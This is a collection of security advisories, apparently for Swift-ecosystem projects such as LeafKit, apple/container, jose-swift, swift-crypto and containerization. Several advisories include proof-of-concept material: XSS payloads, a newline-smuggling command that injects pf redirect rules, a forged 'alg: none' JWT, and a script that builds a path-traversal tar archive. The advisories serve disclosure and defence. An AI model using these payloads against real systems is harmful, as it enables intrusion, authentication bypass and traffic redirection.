A group of related buffer overflow vulnerabilities in the loading of ExecuTorch models can cause the runtime to crash and potentially result in code execution or other undesirable effects. This issue affects ExecuTorch prior to commit cea9b23aa8ff78aff92829a466da97461cc7930c.
\nAn integer overflow vulnerability in the loading of ExecuTorch models can cause overlapping allocations, potentially resulting in code execution or other undesirable effects. This issue affects ExecuTorch prior to commit d158236b1dc84539c1b16843bc74054c9dcba006.
\nA heap-buffer-overflow vulnerability in the loading of ExecuTorch methods can cause the runtime to crash and potentially result in code execution or other undesirable effects. This issue affects ExecuTorch prior to commit 93b1a0c15f7eda49b2bc46b5b4c49557b4e9810f
\nAn out-of-bounds access vulnerability in the loading of ExecuTorch models can cause the runtime to crash and potentially result in code execution or other undesirable effects. This issue affects ExecuTorch prior to commit fb03b6f85596a8f954d97929075335255b6a58d4.
\nA heap buffer overflow vulnerability in the loading of ExecuTorch models can potentially result in code execution or other undesirable effects. This issue affects ExecuTorch prior to commit ede82493dae6d2d43f8c424e7be4721abe5242be
\nAn integer overflow vulnerability in the loading of ExecuTorch models can cause objects to be placed outside their allocated memory area, potentially resulting in code execution or other undesirable effects. This issue affects ExecuTorch prior to commit 0830af8207240df8d7f35b984cdf8bc35d74fa73.
\nLeafKit HTML-escaping is not working correctly when a template prints a collection (Array / Dictionary) via #(value). This can result in XSS, allowing potentially untrusted input to be rendered unescaped.
LeafKit attempts to escape expressions during serialization, but due to LeafData.htmlEscaped()'s implementation, when the escaped type's conversion to String is marked as .ambiguous (as it is the case for Arrays and Dictionaries), an unescaped self is returned.
\n\nNote: I recommend first looking at the POC, before taking a look at the details below, as it is simple. In the detailed, verbose analysis below, I explored the functions involved in more detail, in hopes that it will help you understand and locate this issue.
\n
LeafSerializer's serialize private function below. This is where the leafData is .htmlEscaped(), and then serialized.LeafData.htmlEscaped() method uses the LeafData.string computed property to convert itself to a string. Then, it calls the htmlEscaped() method on it. However, if the string conversion fails, notice that an unescaped, unsafe self is returned (line 324 below):.string may return nil, if the escaped value is not a string already, a convesion is attempted, which may fail.In this specific case, the conversion fails at line 303 below, when conversion.is >= level is checked. The check fails because .array and .dictionary conversions to .string are deemed .ambiguous. If we forcefully allow ambiguous conversions, the vulnerability disappears, as the conversion is successful.
LeafSerializer's serialize private method, we are now interested in finding out what happens after LeafData.htmlEscaped() returns self. Recall from 1. that the output was then .serialized(). Thus, the unescaped LeafData follows the normal serialization path, as if it were HTML-escaped. More specifically, serialization is done here, where .map / .mapValues is called, unsafely serializing each element of the dictionary.In a new Vapor project created with vapor new poc -n --leaf, use a simple leaf template like the following:
<!doctype html>\n<html>\n <body>\n <h1>#(username)</h1>\n <h2>someDict:</h2>\n <p>#(someDict)</p>\n </body>\n</html>\nAnd the following routes.swift:
import Vapor\n\nstruct User: Encodable {\n var username: String\n var someDict: [String: String]\n}\n\nfunc routes(_ app: Application) throws {\n app.get { req async throws in\n try await req.view.render(\"index\", User(\n username: \"Escaped XSS - <img src=x onerror=alert(1)>\",\n someDict: [\"<img src=x onerror=alert(1337)>\":\"<img src=x onerror=alert(31337)>\"]\n ))\n }\n}\nBy running and accessing the server in a browser, XSS should be triggered twice (with alert(1337) and alert(31337)). var someDict: [String: String] could also be replaced with an array / dictionary of a different type, such as another Encodable stuct.
Also note that, in a real concerning scenario, the array / dictionary would contain (i.e. reflect) data inputted by the user.
\nThis is a cross-site scripting (XSS) vulnerability in rendered Leaf templates. Vapor/Leaf applications that render user-controlled data inside arrays or dictionaries using #(value) may be impacted.
Name: container
\nGithub Link: https://github.com/apple/container
\nVersion: <= 0.12.2
\nThe container system dns create --localhost command accepts a domainName argument and passes it unsanitized into the pf anchor file (/etc/pf.anchors/com.apple.container) as a comment in a rule line. A domain name containing a newline character breaks out of the comment context and injects an arbitrary pf rule into the anchor file. When pfctl -f subsequently loads the configuration, the attacker-controlled rule is loaded into the macOS kernel packet filter.
A isValidDomainName() function exists in Parser.swift:892 but is never called from DNSCreate.
The core harm caused by this vulnerability is the bypassing of sudo privileges. An administrator may have only granted a user or an automation tool such as CI/CD the ability to execute container system dns create with root privileges, expecting that the user or automation tool could only add redirects from other IPs to localhost in the firewall rules file via --localhost. However, an attacker can exploit this vulnerability to write arbitrary rules into the firewall rules file: the target address is no longer restricted to localhost, and the rules are no longer limited to redirects.
What a legitimate invocation can write
\n--localhost is an optional parameter. Its presence or absence determines whether any pf rule is written at all:
--localhost: only a resolver config file is written; no pf rule is produced.--localhost <IP>: exactly one rule is written to the pf anchor file:rdr inet from any to <IP> -> 127.0.0.1 # <domain>\nThe redirect destination is hard-coded to 127.0.0.1. The rule type is always rdr inet. There is no legitimate way to produce a rule that redirects traffic to any IP other than 127.0.0.1, nor to produce pass, block, or nat rules, through normal command usage.
What injection additionally enables
\nThe injection lives in the domain name argument. --localhost must be supplied to trigger the createRedirectRule() code path — without it, no pf rule is written at all and the domain name never reaches the pf anchor file. However, the value passed to --localhost is unconstrained (only IP format is validated), so any valid IP suffices to open the injection path.
sudo container system dns create --localhost 127.0.0.1 \\\n $'foo.local\\nrdr inet from any to 1.2.3.4 -> 5.6.7.8'\nThe --localhost value becomes the from IP in the legitimate rule. The injected content after the newline is an entirely independent pf directive with fully attacker-controlled from and to values.
The capability gap between normal use and injection is therefore:
\n| \n | Normal use (no --localhost) | \nNormal use (with --localhost) | \nInjection (with --localhost, domain contains \\n) | \n
|---|---|---|---|
| Writes pf rule | \nNo | \nYes | \nYes | \n
from IP | \n— | \nUser-specified | \nArbitrary | \n
to IP | \n— | \nHard-coded 127.0.0.1 | \nArbitrary | \n
| Rule type | \n— | \nrdr inet only | \nAny (pass, block, nat, …) | \n
The single capability that injection uniquely adds is: writing a pf rule with an arbitrary to IP — redirecting traffic to any external host rather than being confined to 127.0.0.1.
Primary scenario: sudo delegation bypass
\nThe most direct attack path requires only that an administrator grants a restricted user sudo access to this specific command:
\n# /etc/sudoers\nuser ALL=(root) NOPASSWD: /usr/bin/container system dns create *\nThe administrator's intent is to allow user to manage DNS domains for container networking. Under normal usage this is bounded: even with --localhost, the command can only produce rdr ... -> 127.0.0.1 rules. Without --localhost, it produces no pf rules at all.
With the injection, the user provides any valid IP to --localhost to open the pf write path, then embeds the actual malicious rule in the domain name:
sudo container system dns create --localhost 127.0.0.1 \\\n $'evil.local\\nrdr inet proto tcp from any to 10.0.0.1 -> 203.0.113.1 port 4444'\nThis is a classic sudo delegation bypass: the administrator delegated a scoped capability; the injection expands it to writing arbitrary kernel firewall rules.
\nAdditional scenarios:
\nsudo container system dns create $DOMAIN_FROM_ENV where the environment variable originates from a container label, image metadata, or external API response — any newline in the upstream value triggers injection without any user actionConsequences of successful injection:
\nfrom and to IPs — enabling redirection of any host-level traffic to an attacker-controlled external address (not achievable through normal command use)pass, block, nat) with arbitrary port and protocol filters loaded into the kernelremoveRedirectRule() cleanup path cannot match and remove standalone injected linesThis vulnerability was independently discovered and reported by multiple sources:
\nhtmlEscaped in leaf-kit will only escape html special characters if the extended grapheme clusters match, which allows bypassing escaping by using an extended grapheme cluster containing both the special html character and some additional characters. In the case of html attributes, this can lead to XSS if there is a leaf variable in the attribute that is user controlled.
Relevant code:\nhttps://github.com/vapor/leaf-kit/blob/main/Sources/LeafKit/String%2BHTMLEscape.swift#L14
\nStrings in Swift are based on extended grapheme clusters. HTML on the other hand is based on unicode characters.
\nFor example if you have the sequence \"́ (U+0022 Quotation mark followed by U+0301 Combining Acute Accent). To HTML this is just a quote mark followed by some other random character. To swift this is one extended grapheme cluster that does not equal a quotation mark by itself which is a different extended grapheme cluster.
\nThus \"\\\"́\".replacingOccurrences(of: \"\\\"\", with: \""\") does not replace the quote mark. This allows you to break out of html attributes.
I believe replacingOccurences takes an optional third parameter that allows you to specify options to make it work on UTF-8 characters instead of grapheme clusters, which would be a good fix for this issue.
\nI see depending on version, leafkit might use replacing instead of replacingOccurences. I don't know swift that well and couldn't find docs on what replacing does, so I don't know if both versions of the function are affected. The version of swift i was testing on I believe was using replacingOccurences
It seems like replacingOccurences will skip past prefix characters of extended grapheme clusters, which is what would be needed in order to meaningfully bypass esaping of <. Thus i think this is mostly limited to attributes and not general text.
\nAn example vapor application that is vulnerable might look like
\nroutes.swift
\nimport Vapor\n\nstruct Hello: Content {\n var msg: String?\n}\n\nfunc routes(_ app: Application) throws {\n app.post { req throws in\n let Hello = try req.content.decode(Hello.self)\n return req.view.render(\"hello\", [\n \"msg\": Hello.msg ?? \"Hello World!\"\n ])\n }\n}\nWith a hello.leaf that looks like
\n<div title=\"#(msg)\">Hover to see message</div>\nAnd then you POST something like msg=%22%cc%81=1%20autofocus%20tabindex=0%20onfocus=alert(1)%20
If a website uses leaf to escape an attribute value based on user input, the attacker may be able to insert a malicious attribute. If a site is not using a secure CSP policy, then this can be used to execute malicious javascript (XSS). Impact is context dependent if a site is using a secure CSP policy.
\nA vulnerability exists in the packet parsing logic of CocoaMQTT that allows an attacker (or a compromised/malicious MQTT broker) to remotely crash the host iOS/macOS/tvOS application.
\nThe vulnerability is located in Source/FramePublish.swift during the extraction of the Topic string from the incoming byte array.
When parsing the Variable Header of a PUBLISH frame, the library reads the first two bytes to determine the topicLength. It then adds this length to the current position (pos) and attempts to slice the byte array to extract the string:
if let data = NSString(bytes: [UInt8](bytes[2...(pos-1)]), length: Int(len), encoding: String.Encoding.utf8.rawValue) {\n topic = data as String\n}\nIf a packet is received where the Topic Length evaluates to 0 (e.g., 0x00 0x00), the len variable becomes 0, and pos evaluates to 2.
The slicing logic dynamically calculates bytes[2...(2-1)], which becomes bytes[2...1]. Swift's ClosedRange operator (...) requires the lower bound to be less than or equal to the upper bound. Because 2 is not less than 1, Swift detects an out-of-bounds access attempt and immediately triggers a runtime trap (Fatal error: Range requires lowerBound <= upperBound), crashing the host application.
If an attacker publishes this 4-byte malformed payload to a shared topic with the RETAIN flag set to true, the MQTT broker will persist the payload. Any time a vulnerable client connects and subscribes to that topic, the broker will automatically push the malformed packet. The app will instantly crash in the background before the user can even interact with it. This effectively \"bricks\" the mobile application (a persistent DoS) until the retained message is manually wiped from the broker database.
The X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext bytes without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter Data value is passed in, because the C code may read beyond the Swift buffer.
The issue is reachable through initialization of an HPKE.Recipient, which decapsulates the provided encapsulatedKey during construction. A malformed encapsulatedKey can therefore trigger undefined behavior instead of a safe length-validation error.
The decapsulate function of OpenSSLXWingPrivateKeyImpl does not perform a length check before passing the encapsulated data to the C API.
func decapsulate(_ encapsulated: Data) throws -> SymmetricKey {\n try SymmetricKey(unsafeUninitializedCapacity: Int(XWING_SHARED_SECRET_BYTES)) { sharedSecretBytes, count in\n try encapsulated.withUnsafeBytes { encapsulatedSecretBytes in\n let rc = CCryptoBoringSSL_XWING_decap(\n sharedSecretBytes.baseAddress,\n encapsulatedSecretBytes.baseAddress,\n &self.privateKey\n )\n guard rc == 1 else {\n throw CryptoKitError.internalBoringSSLError()\n }\n count = Int(XWING_SHARED_SECRET_BYTES)\n }\n }\n}\nThe C API does not have a runtime length parameter and instead expects a fixed-size buffer of 1120 bytes.
\n#define XWING_CIPHERTEXT_BYTES 1120\n\nOPENSSL_EXPORT int XWING_decap(\n uint8_t out_shared_secret[XWING_SHARED_SECRET_BYTES],\n const uint8_t ciphertext[XWING_CIPHERTEXT_BYTES],\n const struct XWING_private_key *private_key);\nSince decapsulate accepts arguments of any length, an attacker controlled input can trigger an out-of-bounds read. The vulnerable code path can be reached through by initializing a HPKE.Recipient. This creates a new HPKE.Context, which decapsulates the attacker-controlled enc argument:
init<PrivateKey: HPKEKEMPrivateKey>(recipientRoleWithCiphersuite ciphersuite: Ciphersuite, mode: Mode, enc: Data, psk: SymmetricKey?, pskID: Data?, skR: PrivateKey, info: Data, pkS: PrivateKey.PublicKey?) throws {\n let sharedSecret = try skR.decapsulate(enc)\n self.encapsulated = enc\n self.keySchedule = try KeySchedule(mode: mode, sharedSecret: sharedSecret, info: info, psk: psk, pskID: pskID, ciphersuite: ciphersuite)\n}\nThis PoC constructs an HPKE.Recipient using the X-Wing ciphersuite and deliberately passes a 1-byte encapsulatedKey instead of the required 1120 bytes. In a normal run, the malformed input is accepted and it reaches the vulnerable decapsulation path, i.e., no size rejection occurs. In an AddressSanitizer run, the same PoC produces a dynamic-stack-buffer-overflow read, confirming memory-unsafe behavior.
//===----------------------------------------------------------------------===//\n//\n// PoC for X-Wing malformed ciphertext-length decapsulation:\n// X-Wing decapsulation accepts malformed ciphertext length and forwards it to C.\n//\n// This test is intentionally unsafe and is expected to crash (or trip ASan)\n// on vulnerable builds when run.\n//\n//===----------------------------------------------------------------------===//\n\n#if canImport(FoundationEssentials)\nimport FoundationEssentials\n#else\nimport Foundation\n#endif\nimport XCTest\n\n#if CRYPTO_IN_SWIFTPM && !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API\n// Skip tests that require @testable imports of CryptoKit.\n#else\n#if !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API\n@testable import CryptoKit\n#else\n@testable import Crypto\n#endif\n\nfinal class XWingMalformedEncapsulationPoCTests: XCTestCase {\n func testShortEncapsulatedKeyHPKERecipientInit() throws {\n if #available(iOS 19.0, macOS 16.0, watchOS 12.0, tvOS 19.0, macCatalyst 19.0, *) {\n let ciphersuite = HPKE.Ciphersuite.XWingMLKEM768X25519_SHA256_AES_GCM_256\n let skR = try XWingMLKEM768X25519.PrivateKey.generate()\n let malformedEncapsulatedKey = Data([0x00]) // should be 1120 bytes\n\n // Vulnerable path: HPKE.Recipient -> skR.decapsulate(enc) -> XWING_decap(...)\n _ = try HPKE.Recipient(\n privateKey: skR,\n ciphersuite: ciphersuite,\n info: Data(),\n encapsulatedKey: malformedEncapsulatedKey\n )\n\n XCTFail(\"Unexpectedly returned from malformed decapsulation path\")\n }\n }\n}\n\n#endif // CRYPTO_IN_SWIFTPM\nswift test --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit\nswift test --sanitize=address --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit\nThe PoC test reaches the XCTFail path. HPKE.Recipient(...) accepted a 1-byte X-Wing encapsulated key instead of rejecting it for incorrect length.
Test Case 'XWingMalformedEncapsulationPoCTests.testShortEncapsulatedKeyHPKERecipientInit' started\n... failed - Unexpectedly returned from malformed decapsulation path\nThe sanitizer run aborts with a read overflow while executing the same PoC path. This confirms the memory-safety violation. The malformed ciphertext reaches memory-unsafe behavior in the decapsulation chain.
\nERROR: AddressSanitizer: dynamic-stack-buffer-overflow\nREAD of size 1\n...\nSUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow\n==...==ABORTING\nA remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections.
\nReported by Cantina.
\nAn authentication bypass vulnerability allows any unauthenticated attacker to forge arbitrary JWT tokens by setting \"alg\": \"none\" in the token header. The library's verification functions immediately return true for such tokens without performing any cryptographic verification, enabling complete impersonation of any user and privilege escalation.
The vulnerability exists in Sources/JSONWebSignature/JWS+Verify.swift at lines 34-37:
\n public func verify<Key>(key: Key?) throws -> Bool {\n guard SigningAlgorithm.none != protectedHeader.algorithm else {\n return true // <-- Vulnerability: returns true without verification\n }\nWhen the JWT header contains \"alg\": \"none\", the verify() method returns true immediately without:
\nThe SigningAlgorithm enum in Sources/JSONWebAlgorithms/Signatures/SigningAlgorithm.swift:72 explicitly includes case none = \"none\" as a valid algorithm.
\nAll verification methods are affected:
\n// Attacker's payload with escalated privileges\n let payload = #\"{\"sub\":\"user123\",\"admin\":true}\"#
\n// Base64URL encode and concatenate with empty signature\n let forgedToken = base64url(header) + \".\" + base64url(payload) + \".\"\n // Result: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ1c2VyMTIzIiwiYWRtaW4iOnRydWV9.
\nThis is an authentication bypass vulnerability. Who is impacted: Any application using jose-swift for JWT verification is vulnerable. An attacker can:
\nThe attack requires no knowledge of the signing key and works against all signature algorithms (HS256, RS256, ES256, etc.) since the attacker simply bypasses signature verification entirely.
\nReported by Louis Nyffenegger - https://pentesterlab.com/
\nThe ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.
The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.
\n /// Extracts the contents of an archive to the provided directory.\n /// Currently only handles regular files and directories present in the archive.\n public func extractContents(to directory: URL) throws {\n let fm = FileManager.default\n var foundEntry = false\n for (entry, data) in self {\n guard let p = entry.path else { continue }\n foundEntry = true\n let type = entry.fileType\n let target = directory.appending(path: p)\n switch type {\n case .regular:\n try data.write(to: target, options: .atomic)\n case .directory:\n try fm.createDirectory(at: target, withIntermediateDirectories: true)\n case .symbolicLink:\n guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {\n continue\n }\n try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)\n default:\n continue\n }\n chmod(target.path(), entry.permissions)\n if let owner = entry.owner, let group = entry.group {\n chown(target.path(), owner, group)\n }\n }\n guard foundEntry else {\n throw ArchiveError.failedToExtractArchive(\"no entries found in archive\")\n }\n }\nSample script make-evil-tar.py:
#! /usr/bin/env python3\n\nimport tarfile\nimport io\nimport time\n\ntar_path = \"evil.tar\"\n\n# Content of the file inside the tar\npayload = b\"pwned\\n\"\n\nwith tarfile.open(tar_path, \"w\") as tar:\n info = tarfile.TarInfo(\n name=\"../../../../../../../../../../../tmp/pwned.txt\"\n )\n info.size = len(payload)\n info.mtime = int(time.time())\n info.mode = 0o644\n\n tar.addfile(info, io.BytesIO(payload))\n\nprint(f\"Created {tar_path}\")\n% ./make-evil-tar.py\nCreated evil.tar\n% mv evil.tar /tmp\n% cd /tmp\n% ls pwned.txt\nls: pwned.txt: No such file or directory\n% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar\nError: notFound: \"/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout\"\n% cat pwned.txt \npwned\nAffects users of cctl image load in the containerization project, and any projects that depend on containerization and use the extractContent() function.
Affects users of container image load in the container project.
These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is not a privilege escalation, the affected files can only be written to already user-writable locations.
\nThe ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.
The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.
\n /// Extracts the contents of an archive to the provided directory.\n /// Currently only handles regular files and directories present in the archive.\n public func extractContents(to directory: URL) throws {\n let fm = FileManager.default\n var foundEntry = false\n for (entry, data) in self {\n guard let p = entry.path else { continue }\n foundEntry = true\n let type = entry.fileType\n let target = directory.appending(path: p)\n switch type {\n case .regular:\n try data.write(to: target, options: .atomic)\n case .directory:\n try fm.createDirectory(at: target, withIntermediateDirectories: true)\n case .symbolicLink:\n guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {\n continue\n }\n try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)\n default:\n continue\n }\n chmod(target.path(), entry.permissions)\n if let owner = entry.owner, let group = entry.group {\n chown(target.path(), owner, group)\n }\n }\n guard foundEntry else {\n throw ArchiveError.failedToExtractArchive(\"no entries found in archive\")\n }\n }\nSample script make-evil-tar.py:
#! /usr/bin/env python3\n\nimport tarfile\nimport io\nimport time\n\ntar_path = \"evil.tar\"\n\n# Content of the file inside the tar\npayload = b\"pwned\\n\"\n\nwith tarfile.open(tar_path, \"w\") as tar:\n info = tarfile.TarInfo(\n name=\"../../../../../../../../../../../tmp/pwned.txt\"\n )\n info.size = len(payload)\n info.mtime = int(time.time())\n info.mode = 0o644\n\n tar.addfile(info, io.BytesIO(payload))\n\nprint(f\"Created {tar_path}\")\n% ./make-evil-tar.py\nCreated evil.tar\n% mv evil.tar /tmp\n% cd /tmp\n% ls pwned.txt\nls: pwned.txt: No such file or directory\n% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar\nError: notFound: \"/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout\"\n% cat pwned.txt \npwned\nAffects users of cctl image load in the containerization project, and any projects that depend on containerization and use the extractContent() function.
Affects users of container image load in the container project.
These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is not a privilege escalation, the affected files can only be written to already user-writable locations.
\nA denial-of-service vulnerability due to improper input validation allows a remote attacker to crash the service via a malformed HTTP header.
\nAllows crashing the process with data coming from the network when used with, for example, an HTTP server. Most common way of using Swift W3C Trace Context is through Swift OTel.
\nDisable either Swift OTel or the code that extracts the trace information from an incoming header (such as a TracingMiddleware).
Swift W3C TraceContext 1.0.0-beta.5\nSwift OTel 1.0.4
\nA denial-of-service vulnerability due to improper input validation allows a remote attacker to crash the service via a malformed HTTP header.
\nAllows crashing the process with data coming from the network when used with, for example, an HTTP server. Most common way of using Swift W3C Trace Context is through Swift OTel.
\nDisable either Swift OTel or the code that extracts the trace information from an incoming header (such as a TracingMiddleware).
Swift W3C TraceContext 1.0.0-beta.5\nSwift OTel 1.0.4
\nCVSSv3.1 Rating: 3.7 (LOW)
\nSummary\nThis notification is related to the use of specific values for the region input field when calling AWS services. An actor with access to the environment in which the SDK is used could set the region input field to an invalid value.
\nA defense-in-depth enhancement has been implemented in the AWS SDK for Swift. This enhancement validates that a region used to construct an endpoint URL is a valid host label. The change was released on November 6, 2025. This advisory is informational to help customers understand their responsibilities regarding configuration security.
\nImpact\nCustomer applications could be configured to improperly route AWS API calls to non-existent or non-AWS hosts. While the SDK was functioning safely within the requirements of the shared responsibility model, additional safeguards have been added to support secure customer implementations.
\nImpacted versions: All versions prior to 2025-11-06 release (below 1.5.79)
\nPatches\nOn November 6, 2025 an enhancement was made to the AWS SDK for Swift release, which validates the formatting of a region, providing additional safeguards.
\nWorkarounds\nNo workarounds are needed, but as always you should ensure that your application is following security best practices:
\nReferences\nContact AWS Security via the vulnerability reporting page or email aws-security@amazon.com.
\nAcknowledgement\nAWS SDK thanks Guy Arazi for bringing these customer security considerations to our attention through the coordinated disclosure process.
\n\n
[1] https://docs.aws.amazon.com/sdk-for-swift/latest/developer-guide/security.html
\nThe HTTP/2 MadeYouReset vulnerability has a mild effect on swift-nio-http2.
\nswift-nio-http2 mostly protects against MadeYouReset by using a number of existing denial-of-service prevention patterns that we added in response to the RapidReset vulnerabilities. The result is that servers are not vulnerable to naive attacks based on MadeYouReset, and the naive PoC examples do not affect swift-nio-http2.
\nHowever, in 1.38.0 we added some defense-in-depth measures as a precautionary measure that detect clients behaving \"weirdly\". These defense in depth measures tackle resource drain attacks where attackers interleave attack traffic with legitimate traffic to try to evade our existing DoS prevention mechanisms.
\nWe recommend all adopters move to 1.38.0 as soon as possible to mitigate against more sophisticated attacks that may appear in the future.
\nWe are very grateful to @galbarnahum, @AnatBB, and @YanivRL for their reporting and assistance with our process.
\nA SwiftNIO application using TLS may be able to execute arbitrary code. The issue was addressed by signaling that an executable stack is not required. This issue is fixed in SwiftNIO SSL 2.4.1.
\nA security issue was found in Sparkle before version 2.6.4. An attacker can replace an existing signed update with another payload, bypassing Sparkle’s (Ed)DSA signing checks.
\n